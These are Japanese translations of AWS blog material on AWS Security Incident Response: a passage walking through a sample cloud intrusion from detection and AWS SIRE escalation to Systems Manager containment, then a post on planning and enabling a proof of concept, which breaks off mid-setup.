自動化されたモニタリングとインテリジェントなトリアージにより、アラート疲れを軽減し、セキュリティ調査を加速できます。誤検知が減ることで、セキュリティチームの燃え尽きの防止にも役立ちます。 アクセスとコミュニケーションの分断 : AWS マネジメントコンソールのアクセス許可管理を簡素化し、インシデント対応チームのコミュニケーションを一元化することで、アクセスの分断に関する問題を解決できます。 セキュリティスキルのギャップ : 認証情報の侵害、データ流出、ランサムウェアなどのインシデントに対応する AWS のセキュリティエキスパートに 24 時間 365 日アクセスできるため、クラウドセキュリティに関するスキルのギャップを埋めることができます。AWS Security Incident Response サービスを利用することで、セキュリティチームは目の前のセキュリティ課題に対処しながら、戦略的かつ長期的な備えと運用の改善にも引き続き注力できます。 サービスの統合 AWS Security Incident Response は、AWS のセキュリティサービスを補完し、それらと統合することで、包括的なインシデント対応機能を提供します。このサービスは、次のものとシームレスに連携します。 検出サービス : GuardDuty、Security Hub 管理ツール : Systems Manager サードパーティーソリューション : Security Hub の統合機能と  AWS Security Incident Response パートナースペシャライゼーションプログラム を通じて連携 訳注: 本記事で説明している AWS Security Hub は、翻訳時点 (2026 年 10 月) では AWS Security Hub CSPM に名称が変更されており、同じ名前の新しい AWS Security Hub が別途提供されています。AWS Security Incident Response は、サードパーティーの検出結果を AWS Security Hub CSPM 経由で取り込みます。参照: 「 ほぼリアルタイムの分析とリスクの優先順位付けが可能な AWS Security Hub が一般公開されました 」、「 ステップ 4: 既存のツールと統合する – AWS Security Incident Response ユーザーガイド 」 この統合により、組織のクラウドジャーニー全体を通じて、セキュリティイベントにかかる時間、コスト、影響を最小限に抑える効率的なインシデント対応機能を構築できます。また、人員の追加、トレーニング、ツールのメンテナンスへの投資の削減にも役立ちます。 独自の機能 AWS Security Incident Response サービスでは、次のものが提供されます。 AWS Security Incident Response Engineering (SIRE) チームの専門知識 API とコンソールを通じて利用できるツール セキュリティインシデントに対処するための効率化されたプロセス 前提条件 この記事で説明する機能を実装する前に、次の条件を満たしていることを確認してください。 適切な AWS Identity and Access Management (IAM) のアクセス許可を設定済みであること インシデント対応チームの連絡先を設定済みであること 通知チャネルを設定済みであること (オプション) アカウントと AWS リージョンで GuardDuty を有効化済みであること (オプション) アカウントとリージョンで Security Hub を有効化済みであること (オプション) 自動アクションに必要な AWS CloudFormation StackSets をデプロイ済みであること これらの前提条件を満たしておくことで、このサービスの自動検出、トリアージ、対応の機能を最大限に活用できます。 このサービスは、独自のサービスインフラストラクチャ内で自動化されたモニタリングと分析の機能を提供しており、GuardDuty と Security Hub の検出結果を自動的にトリアージできます。 AWS アカウントで自動封じ込めアクションを実行するには、まず必要な CloudFormation StackSets をデプロイし、適切な IAM アクセス許可を設定する必要があります。これにより、このサービスの検出機能を活用しつつ、環境内で実行される自動アクションを完全に制御できます。この自動化は、既知の CIDR 範囲 (ネットワークを定義する特定の IP アドレス範囲) や IP アドレスなど、お客様が設定する変数に基づいてカスタマイズできます。また、GuardDuty の抑制ルールを実装して、誤検知やアラートの量を減らすこともできます。その結果、このサービスは、既存のセキュリティインシデント対応プログラムやツールを補完する強力な手段となります。 AWS Security Incident Response のセットアップ クラウド管理者は、 AWSSecurityIncidentResponseFullAccess のアクセス許可を使用して、サービス内にインシデント対応チームを設定済みです。このサービスは、チームに追加された個人、パートナーまたはマネージドセキュリティサービスプロバイダー (MSSP)、その他の連絡先に通知を送信します。これにより、迅速にエスカレーションして必要な関係者にアラートを送り、イベントに対応できます。 ベストプラクティスとして、チームは AWS Security Incident Response のケース内の情報へのアクセスと管理に必要な最小限の権限を設定します。これにより、セキュリティとコンプライアンスの要件を満たしつつ、チームメンバーがケースの詳細、検出結果、調査データに適切なレベルでアクセスできるようになります。AWS Security Incident Response には、ケースごとに誰がどのアクションを実行できるかを制限できるよう、 CreateCaseComment (調査にメモを追加する) や  GetCase (ケースのメタデータを取得する) など、複数の API アクションが用意されています。開発環境とテスト環境向けには、ロールベースのアクセス制御に使用できる AWSSecurityIncidentResponseCaseFullAccess や AWSSecurityIncidentResponseReadOnlyAccess などのロールベースのポリシーが AWS から提供されています (図 1 を参照)。本番環境では、セキュリティ要件に基づき、最小権限の原則に従ったカスタム IAM ポリシーを作成することをお勧めします。 図 1: セキュリティインシデント対応のアクセス許可ポリシー AWS Security Incident Response サービスの設定後、セキュリティチームは、図 2 に示すように、このサービスからの通知を受け取る E メール配信リストまたはエイリアスを確認します。また、今後は追加の通知メカニズムとして PagerDuty や Jira などのサービスを追加できるよう、 Amazon EventBridge との統合を活用するタスクをバックログに登録しています。 図 2: コンソールを使用してインシデント対応チームのメンバーシップを管理する 不審なアクティビティの検出と対応 AWS Security Incident Response のセットアップから数日後の午前 2 時、このサービスは GuardDuty の検出結果を通じて、一連の不審なアクティビティを検出します。具体的には、IAM ユーザーの異常な動作 (図 3 に示すようなもの)、不明な IP アドレスからの通常とは異なる API コール、アカウントの通常のベースラインから逸脱した Amazon Elastic Compute Cloud (Amazon EC2) インスタンスの大量作成などです。このアクティビティのパターンは、 GuardDuty 拡張脅威検出 がモニタリングしている既知の脅威の動作と一致します。このサービスがなければ、セキュリティチームはアカウントとリージョンをまたいで、これらの個別の検出結果を手動で分析し、相関付ける必要があります。しかし、このサービスを使用すれば、不審なアクティビティのパターンが自動的に特定されます。 図 3: 不審と思われるアクティビティのパターン 異常な動作の 1 つは、身に覚えのない EC2 インスタンスの大量作成です。これらのインスタンスには SSH キー (リモートアクセスに使用される安全な認証情報) が設定され、インターネット接続を許可するセキュリティグループ設定 (ネットワークトラフィックを制御するファイアウォールルール) も適用されています。このシナリオ例を使用して、このサービスの自動化されたモニタリング、トリアージ、封じ込めの機能、アクセス管理、カスタム統合用の API アクション、コラボレーションツール、そして 24 時間 365 日対応の AWS セキュリティエキスパートがどのように連携し、AWS 環境全体のセキュリティインシデント対応の課題への対処を支援するのかを順を追って見ていきましょう。 Incident Response Timeline     dateFormat HH:mm     axisFormat %H:%M          section Detection     GuardDuty Alerts          :02:00, 15m     Automated Analysis        :after Detection, 10m          section Investigation     Case Creation             :02:25, 5m     Team Notification         :02:30, 5m     Initial Assessment        :02:35, 25m          section Response     AWS SIRE Engagement       :03:00, 30m     Resource Tagging          :03:30, 15m     Containment Actions       :03:45, 30m          section Resolution     Threat Elimination        :04:15, 30m     Service Restoration       :04:45, 45m     Documentation             :05:30, 30m 初期検出が完了したら、次のフェーズでは、インシデントの全容を把握するために、セキュリティの検出結果を一元化して分析します。 セキュリティ検出結果の一元化: 体系的なアプローチ GuardDuty を有効化したリージョンで、検出結果の生成が開始されます。 注: GuardDuty は、アカウントとリージョンで有効化されている必要があります。セットアップ手順については、 GuardDuty のドキュメント を参照してください。 AWS Security Incident Response は GuardDuty と統合されているため、これらの検出結果は手作業なしで自動的にサービスに送信され、内部での処理、分析、自動トリアージが行われます。このサービスの プロアクティブな対応とアラートのトリアージ 機能は、アカウントの過去のアクティビティに基づくベースライン、GuardDuty の具体的な検出結果タイプ、アカウント間の相関パターンなど、複数の要素を分析します。この例では、環境の通常のパターンから大きく逸脱した、異常な EC2 インスタンス作成アクティビティを特定しました。 このサービスが真陽性を特定すると、AWS Security Incident Response のケースが自動的に作成され (図 4 を参照)、先ほど設定したインシデント対応チームに通知が送信されます。大きなメリットは、このサービスが個別のイベントを相関付け、インスタンスの作成とセキュリティグループの変更を結び付けることで、潜在的なセキュリティイベントの全体像を描き出せる点です。 図 4: 自動化されたインシデント修復フロー 月次サービスレポートに記録されているとおり、このプロアクティブなモニタリングと分析は、アラート疲れを軽減し、SOC チームにインテリジェントなトリアージ機能を日々提供することで、目に見えるメリットをもたらします。このサービスの自動分析と相関付けの機能により、セキュリティイベントの発生時に迅速に対応するための土台が整うため、チームはアラートの手動調査に時間を費やすことなく、戦略的なセキュリティイニシアチブに集中できます。このサービスの機能は、次の 2 つの点で強固なセキュリティの維持に役立ちます。 設定したリージョン全体にわたる包括的なモニタリング。 サードパーティーのセキュリティツールとの統合。この自動化されたアプローチにより、セキュリティイベントにかかる時間、コスト、影響が軽減されます。 調査が初期検出から詳細な分析へと進むなかで、GuardDuty との統合により、脅威のパターンに関する重要なインサイトが得られます。 検出からアクションへ: GuardDuty との統合 セキュリティチームが内部の検出メカニズムから得られた情報に対応するなかで、AWS Security Incident Response は、次の 3 つの主要なステップでセキュリティの検出結果を処理します。 GuardDuty のアラートを分析して、実際のセキュリティ脅威を特定する GuardDuty 拡張脅威検出を使用して関連するイベントを相関付け、脅威のパターンを特定する 初期アクション (ログの削除や不正なアクセス手段の作成) から、データ窃取の試みが疑われる段階に至るまで、脅威のシーケンスを追跡する 今回のイベントでは、AWS CloudTrail ログの削除から始まり、続いて不正なアクセスキーが作成されました。脅威が進行するにつれて、このサービスは Amazon Simple Storage Service (Amazon S3) オブジェクトへの不審なアクセスパターン、データ流出が疑われる試み、さらに高度な回避手法と永続化メカニズムを特定しました。これらのシグナルはそれぞれ MITRE ATT&CK® の特定の戦術、技術、手順 (TTP) に直接対応しており、ランサムウェアの疑いがある脅威が体系的に進行していることを示しています。AWS Security Incident Response の検出結果と MITRE ATT&CK® フレームワークとの詳細なマッピングについては、「 Mapping AWS security services to MITRE frameworks for threat detection and mitigation 」を参照してください。 このサービスは相関付けと分析を支援し、CloudTrail 証跡の削除、新しいアクセスキーの作成、S3 オブジェクトを標的とした不審なアクションなどのパターンを評価します。GuardDuty の AI と機械学習 (AI/ML) の機能が一定期間にわたってこうした懸念すべきパターンを検出すると、このサービスはお客様に代わって AWS Security Incident Response のケースを自動的に作成して状況をエスカレーションします。これにより、追加のリソースが投入され、この状況に重点的に対処できるようになります。その後、前の手順で定義したインシデント対応チームに、トリアージ済みの新しいイベントが作成されたことが E メールやその他の方法 (図 5 を参照) で通知され、チームは調査を開始します。 メリットの 1 つは、影響を受けるアカウント全体のコミュニケーションをこのサービスが調整することです。複数のアラートに振り回されたり、断片的な情報をつなぎ合わせてランサムウェアインシデントの疑いがある事象の範囲を把握しようとしたりする必要はありません。GuardDuty 拡張脅威検出が脅威のシーケンスの包括的なビューを提供し、AWS Security Incident Response のケースがこれらのシグナルをトリアージするための一貫した単一のチャネルとなります。さらに、世界各地のチームがオンラインになって対応に加わる際の調整にも役立ちます。 図 5: インシデントアラートメッセージ その他の例と詳細については、「 Amazon GuardDuty Extended Threat Detection のご紹介: AI/ML 攻撃シーケンスを識別し、クラウドセキュリティを強化 」を参照してください。 注: Security Hub のワークフローは、前述の GuardDuty のモニタリングとエスカレーションのプロセスと同様のため、ここでは簡潔さを優先して詳細を省略しています。両サービスは緊密に統合されており、同様の運用パターンを共有しています。GuardDuty の検出結果は、検出から 5 分以内に Security Hub に送信されます。Security Hub は、複数の AWS サービスとサードパーティーのパートナーからの検出結果を集約することで、セキュリティのカバレッジを強化します。 脅威のパターンが特定されたら、お客様のチームは次のフェーズに進み、専門知識と高度な調査機能を得るために AWS SIRE に協力を依頼します。 インシデント対応ケースを通じた AWS SIRE との連携 お客様のチームはイベントの調査を続けるなかで、追加の支援が必要だと判断します。アカウント内で必要な権限を持つユーザーが、AWS がサポートするケースを作成して支援を依頼します。 AWS Security Incident Response のケースでは、コンソール内でワンクリックでケースをエスカレーションするだけで AWS SIRE との直接的なコミュニケーションチャネルが確立され (図 6 を参照)、専門知識をすぐに利用できます。ケースがエスカレーションされると、AWS SIRE は 15 分以内に受領を確認し、インシデント対応ケースを通じて対応を開始します。そして、高度なツールと専門知識を活用し、ログ記録機能が限られている環境であっても、アカウント全体のパターンを分析します。この連携により、次のことが実現します。 ブリッジコール (ビデオ会議) によるリアルタイムのコラボレーション 高度なアーティファクト分析とパターン認識 調査と封じ込めのための技術的なガイダンス セキュリティポスチャを改善するための推奨事項 図 6: AWS SIRE との連携 図 6 は、セルフマネージドのケースとしてリゾルバーを Self に設定した場合の、アカウントでの表示例です。 シナリオに戻ると、複数のアカウントで十分なログ記録が有効になっておらず、調査に利用できるデータが限られていることが判明します。AWS SIRE は専門的なツールを通じて追加のインサイトを提供できますが、セキュリティの可視性の確保、コンプライアンス要件への対応、徹底したインシデント調査のためには、アカウント全体で包括的なログ記録を維持することが引き続き重要です。AWS SIRE の機能は適切なログ記録の実践を補完するものであり、それに代わるものではありません。AWS SIRE は通常はお客様から見えないパターンやアクティビティを把握できるため、この機能はインシデントの範囲を理解するのに役立ちます。 コラボレーションは、AWS SIRE が独自のツールを使用して環境を分析し、手元のログで確認できる範囲を超えて異常なパターンを探すところから始まります。AWS SIRE はインシデント対応ケースを通じて、次の方法でインシデントの範囲を把握できるよう支援します。 調査結果を共有する 追加の調査の方向性を提案する 他の環境で見られた同様の EC2 インスタンス作成パターンを示す分析を共有する AWS SIRE はインシデント対応ケースを使用してブリッジコールを設定し、AWS SIRE のチームとお客様のチームが集まってリアルタイムでコラボレーションできるようにします。この通話では、AWS SIRE がアーティファクトとサービスデータについて進行中の分析結果を共有し、何が起きたのか、なぜ起きたのか、今後同様の問題をどう防ぐのかを理解できるよう支援します。また、今後のセキュリティポスチャの改善に向けて、アカウント全体に適切なログ記録を実装するためのガイダンスも提供します。 インテリジェントなタグ付けによるインシデントの管理 AWS SIRE が分析を開始すると、お客様のチームはインシデントケース ID を使用して、リアルタイムでリソースにタグを付けていきます。この体系的なタグ付けは、アカウント全体で不審な EC2 インスタンスを追跡して管理するうえで非常に重要です。タグを使用することで、調査全体を通じて影響を受けたリソースを明確に記録しながら、隔離ポリシーを迅速に実装し、コストを追跡できます。 チームが採用したタグベースのアプローチは、影響を受けたリソースを追跡し、隔離ポリシーを実装するのに役立ちます。インシデントケース ID のタグを使用してインシデントに関連するリソースをすばやく特定し、対象を絞ったアクセス制御と封じ込め対策を適用しました。また、タグはインシデントに関連するコストの追跡にも役立つため、財務チームはイベントによる財務上の影響を正確に把握できます。 AWS Security Incident Response サービスと連携して作業を進めるなかで、インシデントケース ID をプライマリタグキーとして使用すると (図 7 を参照)、影響を受けたアカウント全体でリソースを一貫した方法で相関付けられることがわかりました。調査が必要な特定のリソースを AWS SIRE にすばやく伝えられるため、AWS SIRE と連携する際に特に役立ちます。封じ込め後も、これらのタグはインシデント後の分析を支え、インシデントから得た知見に基づいて対象を絞ったセキュリティコントロールを実装するのに引き続き役立ちます。 図 7: インシデントタグ Systems Manager との統合による自動封じ込めのオプション AWS SIRE と協力してインシデントの範囲を把握する一方で、Systems Manager を使用して脅威を自動的に封じ込めることもできます。チームは必要な CloudFormation StackSets を事前に組織全体へデプロイしているため、Systems Manager を通じて Amazon EC2 の封じ込めアクションを実行できます。 セットアッププロセスでは、特定の IAM ロールと Systems Manager の設定を含む CloudFormation StackSets をアカウント全体にデプロイする必要がありました。このインフラストラクチャにより、AWS Security Incident Response サービスはお客様に代わって封じ込めアクションを実行できます。これらのアクションは、元に戻す ( undo ) 機能を使う場合と同様に、必要に応じて取り消せるため、システムを以前の状態に復元できます。 事前にデプロイした CloudFormation StackSets を通じて承認されていれば、AWS Security Incident Response サービスは Systems Manager に封じ込め対策の実装を要求できます。封じ込めアクションを実行するには、お客様による明示的な承認と、事前に設定された適切な IAM アクセス許可が必要です。このサービスは、タグが付けられた不審なインスタンスのセキュリティグループとネットワークアクセスを変更してインスタンスを隔離すると同時に、フォレンジック分析に使用する証拠の完全性を維持できるよう、インスタンスの状態を保持します。 封じ込めプロセスは、次の 3 つのステップで行われます。 隔離 : 侵害されたインスタンスをセキュリティグループから削除する 保全 : 影響を受けたシステムのバックアップコピー (スナップショット) を作成する 調査 : Systems Manager を使用してシステム情報を収集する これらのアクションは必要に応じて元に戻すことができるため、正当なワークロードに対する封じ込めの判断にも柔軟に対応できます。 自動化機能により、複数のインスタンスにわたる封じ込め手順が効率化され、影響を受けたリソースの封じ込めにかかる時間を短縮できます。このサービスは各アクションの詳細なログをインシデント対応ケースに記録するため、チームは封じ込め作業の状況を明確に把握できます。 この対応機能と AWS SIRE からのガイダンスを組み合わせることで、インシデントの拡大を数時間ではなく数分で封じ込めることができます。Systems Manager との統合により、調査用の証拠を保全しながら、封じ込めアクションを確実に実装できます (図 8 を参照)。 図 8: 封じ込めアクション用の Systems Manager ドキュメント 解決と教訓 インシデントが解決に向かうにつれて、チームは体系的なプロセスに沿って、封じ込めの確認、脅威の緩和、サービスの復旧を進めます。AWS Security Incident Response のケースを通じて AWS SIRE と連携しながら、影響を受けたリソースを保護し、通常の運用を安全に再開できるよう、構造化されたアプローチを実践します。直ちに実施する解決アクションは、主に次の 3 つのカテゴリに分類されます。 Systems Manager による検証を通じた封じ込めの確認 セキュリティグループの変更が適用されていることを検証する 影響を受けたインスタンスのネットワーク隔離を確認する 自動封じ込めアクションが成功したことを検証する Systems Manager のログで封じ込めアクションの完了を確認する 影響を受けたリソース全体で脅威が緩和されたことの検証 GuardDuty の検出結果を分析し、新たな不審なアクティビティがないことを確認する タグ付けされたリソースを調べ、完全に封じ込められていることを確認する 不正アクセスの試みが停止していることを検証する 永続化メカニズムが削除されていることを確認する 不正な IAM アクセスが残っていないかを確認する サービスの復旧とアクセス制御の正常化 検証済みのベースラインに基づいて、正当なワークロードのアクセスを復元する 更新されたセキュリティグループ設定を実装する 影響を受けた IAM 認証情報とアクセスキーをリセットする クリーンであることが検証されたリソースについて、通常のネットワーク接続を再確立する インシデント後のステータスを反映するようにリソースタグを更新する 文書化とレポート作成 インシデントが解決に至ると、AWS Security Incident Response サービスは包括的なインシデントタイムラインを作成します。このドキュメントによってレポート作成プロセスが迅速化され、経営幹部、規制当局、サイバー保険会社向けに必要なレポートを、すべてインシデント対応ケース内からすばやく作成できます。 インシデント対応ケースには、GuardDuty 拡張脅威検出が初期段階の脅威のシーケンスを特定した時点から始まる、イベントの完全なタイムラインが記録されます。不審な EC2 インスタンスの作成が検出された瞬間から、観測された MITRE ATT&CK® の戦術、Systems Manager との統合を通じて実装された封じ込めアクション、そして最終的に効果が確認された解決手順に至るまで、インシデント対応の各ステップが文書化されます。 長期的な改善: このインシデント後の共同レビュープロセスを通じて、チームは次の取り組みを行います。 AWS SIRE の推奨事項に基づいて、ログ記録を強化する 同様のインシデントを防ぐためにセキュリティコントロールを更新する 教訓に基づいてインシデント対応プロセスを改善する 対象を絞った改善によってセキュリティポスチャを強化する まとめ この例では、AWS Security Incident Response サービスが、自動化された検出、トリアージ、封じ込め、アクセス管理、連携した対応の機能によって、セキュリティ運用をどのように強化できるかを紹介しました。このサービスは AWS Security Hub や Amazon GuardDuty と統合されているため、セキュリティイベントを効率的に処理できます。さらに、オプションで AWS SIRE にエスカレーションすれば、貴重な専門知識と専門的なツールを活用でき、インシデント対応ライフサイクルのあらゆる段階を加速し、セキュリティポスチャを強化するのに役立ちます。 AWS Security Incident Response サービスは、包括的なセキュリティ運用戦略の重要な要素として、次のような測定可能なメリットをもたらします。 自動化された相関付けと機械学習により、誤検知を最小限に抑えながら優先度の高いセキュリティリスクを特定する継続的な脅威モニタリング 自動検出と連携した対応によるインシデント対応時間の短縮 AWS SIRE との直接的なコラボレーションによる調査機能の強化 効率的かつ迅速な封じ込め レポート作成要件への迅速な対応を支援する、包括的なインシデントの記録と監査証跡 インシデントあたり最大 58% のコスト削減 セキュリティインシデントへの備え、対応、復旧をより迅速かつ効率的に行うには、今すぐ AWS Security Incident Response のページにアクセスするか、AWS アカウントチームに連絡してディスカッションの日程を調整してください。 その他のリソース セキュリティインシデント対応能力をさらに向上させるために、チームで活用できるその他の AWS リソースを紹介します。 イベント発生前 AWS Customer Playbook Framework : セキュリティイベントから得られた AWS SIRE の教訓を活用した、一般公開されている対応フレームワーク Assisted Log Enabler : Amazon VPC フローログ、AWS CloudTrail、Amazon Elastic Kubernetes Service の監査ログと Authenticator ログ、Amazon Route 53 Resolver クエリログ、Amazon S3 サーバーアクセスログ、Elastic Load Balancing ログなどのログの有効化を支援するツール イベント発生中 Athena Security Analytics Bootstrap : Amazon Athena をすばやくセットアップし、S3 バケットにアーカイブされた AWS サービスログを調査したいお客様向けのツール イベント発生前または発生後 AWS CIRT announces the release of five publicly available workshops   Jason Hurst Jason は、AWS CIRT の Senior Incident Responder 兼 Knowledge Manager です。人材の育成に情熱を注いでおり、地元の技術系カレッジで非常勤講師も務めています。余暇には 3 匹の愛犬と過ごすのを楽しんでいます。 Christopher Rae Christopher は AWS の Principal Worldwide Security Specialist として、AWS セキュリティソリューションの導入を加速し、拡大するためのグローバルなビジネス開発戦略の策定と実行を推進しています。サイバーセキュリティと新興テクノロジーの融合に情熱を注いでおり、戦略的リーダーシップを担う役職で、メディア、エンターテインメント、通信業界の世界中のお客様にセキュリティ製品とサービスを提供してきた 20 年以上の経験があります。 Nooms Charania Nooms は AWS Global Services Security の Sr. PMT – ES です。イェール大学で MBA を取得しており、USC でエンジニアリングのバックグラウンドを培いました。テクニカルプロダクトマネジメントを専門としており、MBA プログラム在学中に AWS でインターンを経験しました。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 9 月 23 日に公開された AWS Blog “ Optimize security operations with AWS Security Incident Response ” を翻訳したものです。 2026 年 7 月 6 日 : 現在の機能を反映するために、この記事を更新しました。 セキュリティ脅威には迅速な対応が求められます。そこで AWS Security Incident Response は、セキュリティポスチャをすぐに強化できる保護を提供します。この包括的なソリューションは、自動化されたトリアージと評価ロジックをセキュリティ境界のメタデータと組み合わせて重大な問題を特定し、必要に応じて人間の専門家の知見をシームレスに取り入れます。Security Incident Response を Amazon GuardDuty および AWS Security Hub と統合し、一元的なセキュリティ環境を構築すると、組織は AWS のセキュリティインシデント対応の専門家に 24 時間 365 日アクセスできるようになります。迅速な検出、専門家による分析、効率的な脅威の封じ込めを実現でき、そのすべてを 1 つの直感的なコンソールで管理できます。AWS Security Incident Response は AWS エンタープライズサポート と AWS Unified Operations に含まれています。AWS Unified Operations は、組織が AWS を大規模に、効率的かつ安全に導入、運用するのに役立ちます。 この記事では、Security Incident Response を有効にして概念実証 (POC) を実施し、セキュリティ機能を短期間で強化しながら、すぐに効果を得る方法を説明します。具体的には、サービスの機能、POC の成功基準の設定、構成の定義、デプロイの準備、サービスの有効化、初日からの効果の最適化について紹介します。これらを通じて、インシデント対応ライフサイクル全体で組織が自信を持って対応できるようになり、復旧時間の短縮にもつながります。 Security Incident Response の機能を理解する AWS Security Incident Response サービスは、効率化された 4 段階のプロセスを通じて、包括的な脅威検出と対応機能を提供します。まず、GuardDuty のセキュリティ検出結果と、AWS Security Hub Cloud Security Posture Management (CSPM) と統合された一部のサードパーティ製ツールからの検出結果を取り込みます。次に、お客様のメタデータと脅威インテリジェンスを使用してこれらの検出結果を自動的にトリアージし、異常な動作や疑わしいアクティビティを特定します。潜在的な脅威が検出されると、Security Incident Response チームの対応担当者がカスタマーポータルを通じてケースをプロアクティブに調査し、実際の脅威か誤検知かを判断します。脅威が確認された場合は、直ちに対処できるよう、サービスが検出結果をエスカレーションします。一方、誤検知の場合は、自動トリアージシステムと GuardDuty および Security Hub の抑制ルールが更新され、検出精度が継続的に向上します。 最小限の前提条件で包括的な保護を実現 Security Incident Response は、 脅威検出とインシデント対応 (TDIR) システムに加え、CrowdStrike、Lacework、Trend Micro、SentinelOne、Palo Alto Networks – Prisma Cloud Compute、Wiz (Toxic Combinations) などのサードパーティ製セキュリティサービスともシームレスに統合し、強力なセキュリティ機能を提供します。このソリューションは、GuardDuty の検出結果を取り込み、Security Hub CSPM を通じて外部プロバイダーと統合しながら、計画やコミュニケーションから解決まで、エンドツーエンドのインシデント管理を担う統合コマンドセンターとして機能します。サードパーティとの統合に必要なのは検出結果の取り込みだけで、Security Hub CSPM の全機能は必要ありません (セキュリティ標準、コントロール、コンプライアンスチェックは不要です)。検出結果は毎月最初の 10,000 件まで無料で、それ以降は 1 件あたり 0.00003 USD です (例えば、610,000 件の場合は月額約 18 USD)。詳細については、「 Security Hub CSPM の料金 」を参照してください。 安全なケース管理と変更不可能なアクティビティタイムラインにより、可視性が向上し、AWS で実績のあるツールと人員を活用できるようになります。これにより、セキュリティオペレーションセンター (SOC) とインシデント対応 (IR) チームが補強され、セキュリティ運用が大幅に強化されます。 AWS のセキュリティインシデント対応担当者は、調査と復旧の際にお客様側のインシデント対応担当者と協力して作業するため、貴重なリソースを他の優先事項に充てることができます。このサービスは、プロアクティブなモニタリングと対応機能によって継続的な価値を提供します。GuardDuty と Security Hub の検出結果を使用して環境を常時モニタリングし、サービスによる自動化、トリアージ、分析がバックグラウンドで着実に行われるため、本当にセキュリティ上の懸念がある場合にのみアラートが送信されます。常に注意を払っていなくても、潜在的なインシデントの発生時にすぐに効果を発揮します。 使用開始は簡単です。 唯一の前提条件 は、 AWS Organizations を有効にし、メンバーアカウントを含む基本的な組織単位 (OU) 構造を Organizations で確立しておくことです。この基盤は、Security Incident Response のデプロイを可能にするだけでなく、組織全体で堅牢な TDIR 戦略を実装するための土台にもなります。 成功基準を決定する 成功基準を設定すると、POC の成果をビジネス目標に照らして評価できます。基準の例は次のとおりです。 インシデント対応チームを指定する: インシデント対応を担当する社内のチームメンバーと外部の担当者を特定し、文書化します。「 AWS Well-Architected セキュリティの柱 」で強調されているように、担当者をあらかじめ指名しておくと、セキュリティインシデント発生時のトリアージと対応にかかる時間を短縮できます。 正式なインシデント対応フレームワークを策定する: 詳細なプレイブックと定期的な机上演習のプロトコルを含む、包括的なインシデント対応計画を策定します。AWS は、プレイブックのリファレンスライブラリを GitHub で提供しています。 机上演習を実施する: 実際の危機が発生する前に、定期的なシミュレーションの実施を検討してください。シミュレーションによってインシデント対応計画をテストしてギャップを特定し、セキュリティチーム全体で実践的な対応力を身に付けることができます。さまざまな種類の 机上演習 については、AWS が情報を提供しています。 既存のサードパーティのセキュリティプロバイダーを特定する: Security Hub と統合されており、Security Incident Response にデータを提供できるサードパーティのセキュリティプロバイダーを特定します。AWS パートナーが提供する検出結果については、「 検出と分析 」を参照してください。 GuardDuty を実装する: ベストプラクティスに従って GuardDuty を設定し、重要なサービス全体で脅威をモニタリング、検出します。GuardDuty のベストプラクティスは、AWS が「 AWS Security Services Best Practices for GuardDuty 」で公開しています。 期間や組織固有の制約を考慮したうえで目標が現実的かどうか、成功基準を見直してください。例えば、組織にデプロイされている AWS サービスの設定を完全に管理できますか？実装とテストに時間を割ける担当者を確保できますか？関係するステークホルダーがサービスを評価するのに、この時期は適していますか？ Security Incident Response の構成を定義する 成功基準とタイムラインを設定したら、ベストプラクティスとして Security Incident Response の構成を定義します。重要な決定事項には次のようなものがあります。 委任管理者アカウントを選択する: Security Incident Response の委任管理者 (DA) として機能するアカウントを決めます。このアカウントと選択した AWS リージョンで、Security Incident Response のサービスとポータルがホストされます。 AWS Security Reference Architecture (AWS SRA) では、専用のセキュリティツールアカウントを使用することを推奨しています。DA を確定する前に、 考慮事項と推奨事項 に関するドキュメントを確認してください。 アカウントの範囲を定義する: Security Incident Response は組織レベルのサービスとして位置付けられています。組織内のすべてのリージョンにあるすべてのアカウントが、単一のサブスクリプションで保護の対象となります。アカウントを追加または削除すると、それに応じてサービスの対象範囲が自動的に調整されるため、AWS 環境全体を漏れなく保護できます。 検出結果のソースを設定する: 組織のニーズに応じて、取り込むセキュリティ検出結果を決定します。このサービスは、組織全体の GuardDuty の検出結果と、サードパーティパートナーから提供される一部の種類の Security Hub 検出結果を自動的に取り込みます。セキュリティポスチャとインシデント対応機能にとって最も価値のある GuardDuty の保護プランと Security Hub の検出結果を評価してください。 エスカレーションフレームワークを策定する: セルフマネージドのケース、AWS がサポートするケース、プロアクティブなケースといったケースタイプごとに、明確なエスカレーションのしきい値を設定します。また、重大度、影響、必要なリソースに基づいて、ケース送信の要否とケースタイプを決定する権限を誰が持つかを定義します。 分析戦略を実装する: ネイティブの AWS 分析ツール ( Amazon Athena 、 Amazon OpenSearch Service 、 Amazon Detective など) を使用するか、既存のセキュリティ情報およびイベント管理 (SIEM) ソリューションと統合するかを決定します。これらの機能により、コンテキストデータとより深いインサイトを活用して、インシデント対応を強化できます。 デプロイの準備をする 成功基準と Security Incident Response の構成を決定したら、ステークホルダー、目指す状態、期間を明確にします。次の項目を完了して、デプロイに備えます。 プロジェクト計画とタイムラインを作成する: 明確な成功基準、プロジェクトの対象範囲、主要なマイルストーン、現実的な実装タイムラインを含むプロジェクト計画を策定します。推奨されるタイムラインは次のとおりです。 有効化前: GuardDuty と、必要に応じて Security Hub のサードパーティ統合を設定し、リソース計画を立てる 0 日目 – サービスを有効にする 1 週目 – リアクティブなセキュリティインシデント対応ケースを作成する 2 週目 – IT サービスマネジメント (ITSM) ツールに接続する 3 週目 – 机上演習を実施する 4 週目 – サービスから提供されるレポートを確認する ステークホルダーを特定する: CISO、情報セキュリティチーム、SOC 担当者、インシデント対応チーム、セキュリティエンジニア、財務、法務、コンプライアンス、外部のマネージドセキュリティサービスプロバイダー (MSSP)、事業部門の代表者を特定します。 RACI マトリックスを作成する: インシデント対応ライフサイクル全体の役割と責任を定義した詳細な RACI チャートを作成し、説明責任と適切なコミュニケーションチャネルを確保します。 管理アカウントのアクセスを設定する: 管理アクセスを委任するための承認を取得します。詳細については、「 委任 Security Incident Response 管理者アカウントの指定に必要なアクセス許可 」を参照してください。 IAM ロールとアクセス許可を設定する: AWS Identity and Access Management (IAM) ロールを使用して、RACI チャートに沿ったロールベースのアクセス制御を実装します。AWS マネージドポリシーを使用して、ケース管理、エスカレーション、読み取り専用などのロールを用意します。詳細については、「 AWS マネージドポリシー 」を参照してください。 Security Incident Response を有効にする 準備が整ったら、サービスを有効にします。 管理アカウントで Security Incident Response にアクセスする 組織の管理アカウントで AWS マネジメントコンソールに移動し、コンソールの検索バーで Security Incident Response を検索します。 [サインアップ] を選択します。 [委任管理者アカウントを使用 – 推奨] が選択されていることを確認します。委任管理者のアカウント番号を [アカウント ID] フィールドに入力し、 [次へ] を選択します。 手順 3 